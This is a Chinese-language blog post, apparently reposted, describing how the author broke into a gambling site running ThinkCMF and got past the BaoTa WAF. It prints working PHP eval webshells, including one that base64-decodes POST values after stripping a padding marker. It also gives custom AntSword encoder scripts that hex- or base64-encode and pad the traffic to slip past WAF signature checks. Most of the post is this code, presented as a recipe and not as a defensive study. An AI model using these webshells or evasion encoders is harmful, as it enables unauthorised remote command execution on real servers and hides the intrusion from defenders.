過WAF的小思路


過WAF的小思路

前言

最近在學習了一波CMS漏洞,嘗試看了幾個菠菜站,有寶塔WAF。。。向WHOAMI大佬取經回來后,繞過了一個WAF。覺得是時候要認真總結一下了:)

前期的過程

菠菜采用的是ThinkCMF這款CMS,ThinkCMF某些版本是存在緩存Getshell這樣的一個漏洞,payload我就不放了,大家要遵守相應的法律法規哦! :)

按照payload,直接打的話,訪問白屏還興奮了一下,結果一執行shell就觸發寶塔WAF。。。更別說蟻劍連接了。。。

WAF會對部分函數進行了過濾,所以直接打payload肯定是不行的,因此我們需要對蟻劍的流量特征進行混淆加密

一個正常的shell如下:
<?php @eval($_POST['hack']);?>但是這樣的shell特征太明顯了,肯定會被攔截的,所以我們要學會騷一點
比如說<?php @eval(base_decode($_POST['test']));?>
讓我們將phpinfo();base64加密后POST傳參,就可以正常執行phpinfo了
image

但是。。。

cmd命令執行

但是蟻劍連接shell爆紅了。。。

明明寫進去了,也能phpinfo,但是蟻劍連接錯誤,為什么呢???
其實,我們可以先學一下蟻劍流量的相關知識
首先看看蟻劍的base64編碼器結構:

'use strict';


/*

 @param  {String} pwd   連接密碼
 @param  {Array}  data  編碼器處理前的 payload 數組
@return {Array}  data  編碼器處理后的 payload 數組
*/
module.exports = (pwd, data, ext={}) => {
// ##########    請在下方編寫你自己的代碼   ###################
// 以下代碼為 PHP Base64 樣例
// 生成一個隨機變量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出來之后,轉為 base64 編碼並放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');


// shell 在接收到 payload 后,先處理 pwd 參數下的內容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ##########    請在上方編寫你自己的代碼   ###################
// 刪除 _ 原有的payload
delete data['_'];
// 返回編碼器處理后的 payload 數組
return data;
}

解釋一下:

pwd:  類型是String, 這個是 shell 的連接密碼
data: 類型是 Array, 這個是要發送的 HTTP POST 數據包
Buffer.from(data['_']).toString('base64') 將data['_']中的代碼讀取並進行base64編碼,然后下面的 data[pwd] 以參數的形式傳遞到服務器,解碼后shell代碼便會執行。雖然data['_']中的代碼進行過base64編碼,但是data[pwd] 是作為參數傳遞的,所以在流量中的 data[pwd] 仍是明文傳輸。
而且,蟻劍在對data進行編碼時會增加一定長度的隨機字符,但是cmd命令無論增加多長的字符Y21K這個特征字符也始終會被識別到

那該怎么辦呢???
WAF攔了蟻劍發送的其它參數時怎么操作 (qq.com)

從這篇大佬的文章好好學習了一下,其中一種方法大佬是通過遍歷data的其他參數,並Hex編碼了data的值。

解碼器內容:

*/
'use strict';

module.exports = (pwd, data) => {
  let ret = {};
  for (let _ in data) {
    if (_ === '_') { continue };
    ret[_] = Buffer.from(data[_]).toString('hex');
  }
  ret[pwd] = Buffer.from(data['_']).toString('hex');
  return ret;
}

因為蟻劍是默認會對data的值進行一次base64加密,所以我們可以再base64加密一次並增添點data的值:)

比如像這樣:

let ret = {};
for (let _ in data)
{
if (_ === '_')
{ continue; }
ret[_] = Buffer.from(data[_]).toString('base64');
ret[_] = 'andynoel1234' + ret[_];
ret[_] += 'andynoel1234';
}

同時,我們所寫的shell也不能那么簡單的啦,所以也得相應地稍微修改一下:

<?php
foreach($_POST as $k=>$v){$_POST[$k]=base64_decode(str_replace('andynoel1234','',$v));}
@eval($_POST['hack']);
?>

在第一次POST時進行抓包,去掉我們另外加入的data值,比如說上面的andynoel1234
然后對剩下的內容執行兩次base64解碼,再試一下蟻劍成功連接,就可以執行cmd命令了。
image


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM